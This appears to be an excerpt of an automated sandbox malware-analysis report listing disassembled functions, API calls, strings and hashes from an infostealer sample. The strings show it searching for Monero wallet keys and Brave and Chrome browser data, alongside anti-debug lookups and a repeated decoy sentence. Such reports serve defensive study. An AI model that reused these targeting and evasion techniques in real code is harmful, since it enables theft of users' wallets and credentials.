LoadLibraryA.KERNEL32(013F0F60,?,007B6A00), ref: 007B9ABD
LoadLibraryA.KERNEL32(013F0F18,?,007B6A00), ref: 007B9ACF
LoadLibraryA.KERNEL32(013F0F78,?,007B6A00), ref: 007B9AE0
GetProcAddress.KERNEL32(75070000,013F0F90), ref: 007B9B02
GetProcAddress.KERNEL32(75FD0000,013F0F00), ref: 007B9B23
GetProcAddress.KERNEL32(75FD0000,013F9318), ref: 007B9B3B
GetProcAddress.KERNEL32(75A50000,013F9348), ref: 007B9B5D
GetProcAddress.KERNEL32(74E50000,013E5520), ref: 007B9B7E
GetProcAddress.KERNEL32(76E80000,013F8F50), ref: 007B9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 007B9BB6

Strings

NtQueryInformationProcess, xrefs: 007B9BAA

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: b13d965a3faded8c6f452ce7417e0383a274dccdbc3244281ff9c8de4e5ebd41
Instruction ID: 49b92faa1d8372ed7a69d5179f4df7855d5e0a8d2654e30ec9c74f638decefbc
Opcode Fuzzy Hash: b13d965a3faded8c6f452ce7417e0383a274dccdbc3244281ff9c8de4e5ebd41
Instruction Fuzzy Hash: 8BA13FB99282C09FD354DFA8EDC8A563BF9F74C301705851EA605CB274D63ABC81EB52

Function 007A45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 007A460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 007A479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007A4662

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: a1a4f5765f1428ac6dd73252bfa5520722e4ee0201d051a63e5dabda2502c32f
Instruction ID: c0c6e75534cd1b2a8e6259c354671ce97b343932e84c577a7ed7c8bf35f8a0c1
Opcode Fuzzy Hash: a1a4f5765f1428ac6dd73252bfa5520722e4ee0201d051a63e5dabda2502c32f
Instruction Fuzzy Hash: 0B41D1A07C264C7AC72CFBA4C88FF9F77665F86B00F50514CE80097280CBBAB58047A6

Function 007ABE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

FindFirstFileA.KERNEL32(00000000,?,007C0B32,007C0B2B,00000000,?,?,?,007C13F4,007C0B2A), ref: 007ABEF5
StrCmpCA.SHLWAPI(?,007C13F8), ref: 007ABF4D
StrCmpCA.SHLWAPI(?,007C13FC), ref: 007ABF63
FindNextFileA.KERNEL32(000000FF,?), ref: 007AC7BF
FindClose.KERNEL32(000000FF), ref: 007AC7D1

Strings

Preferences, xrefs: 007AC11E
Brave, xrefs: 007AC102
Google Chrome, xrefs: 007AC634
\Brave\Preferences, xrefs: 007AC1DB

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: a2e713a53eec4d7473d5cfc92b242aeb09baf78f6945625a657bfb3546c58309
Instruction ID: 680dcadc6bf05ef3bb1fbc94fdcf278a1852883b701bddadd0839da8af60480f
Opcode Fuzzy Hash: a2e713a53eec4d7473d5cfc92b242aeb09baf78f6945625a657bfb3546c58309
Instruction Fuzzy Hash: 2F42F372910108FBDB15FB60DD9AFED737DAB94300F404568F50A96191EE38AF49CBA2

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

GTC, xrefs: 6C653912
GenuntelineI, xrefs: 6C653639
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB
QPC, xrefs: 6C6538FC
AuthcAMDenti, xrefs: 6C653946

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 007B4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 007B492C
FindFirstFileA.KERNEL32(?,?), ref: 007B4943
StrCmpCA.SHLWAPI(?,007C0FDC), ref: 007B4971
StrCmpCA.SHLWAPI(?,007C0FE0), ref: 007B4987
FindNextFileA.KERNEL32(000000FF,?), ref: 007B4B7D
FindClose.KERNEL32(000000FF), ref: 007B4B92

Strings

%s\%s, xrefs: 007B49A4
%s\*, xrefs: 007B4920
%s\%s, xrefs: 007B49FB

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 6a61cadc3aa69d09fa344b7c41fa4466ce121b2c174a0f71108ca21afc071447
Instruction ID: aa8df273a45a30d2dd53d4ee2cd01a069d6cdc72fb677e5fc78b0dd8e9682f73
Opcode Fuzzy Hash: 6a61cadc3aa69d09fa344b7c41fa4466ce121b2c174a0f71108ca21afc071447
Instruction Fuzzy Hash: 006147B1914218EBCB24EFA0DC89FEA73BCBB48700F04458CB60996151EB75EB85CF91

Function 007B3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 007B3EC3
FindFirstFileA.KERNEL32(?,?), ref: 007B3EDA
StrCmpCA.SHLWAPI(?,007C0FAC), ref: 007B3F08
StrCmpCA.SHLWAPI(?,007C0FB0), ref: 007B3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 007B406C
FindClose.KERNEL32(000000FF), ref: 007B4081

Strings

%s\%s, xrefs: 007B3EB7

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
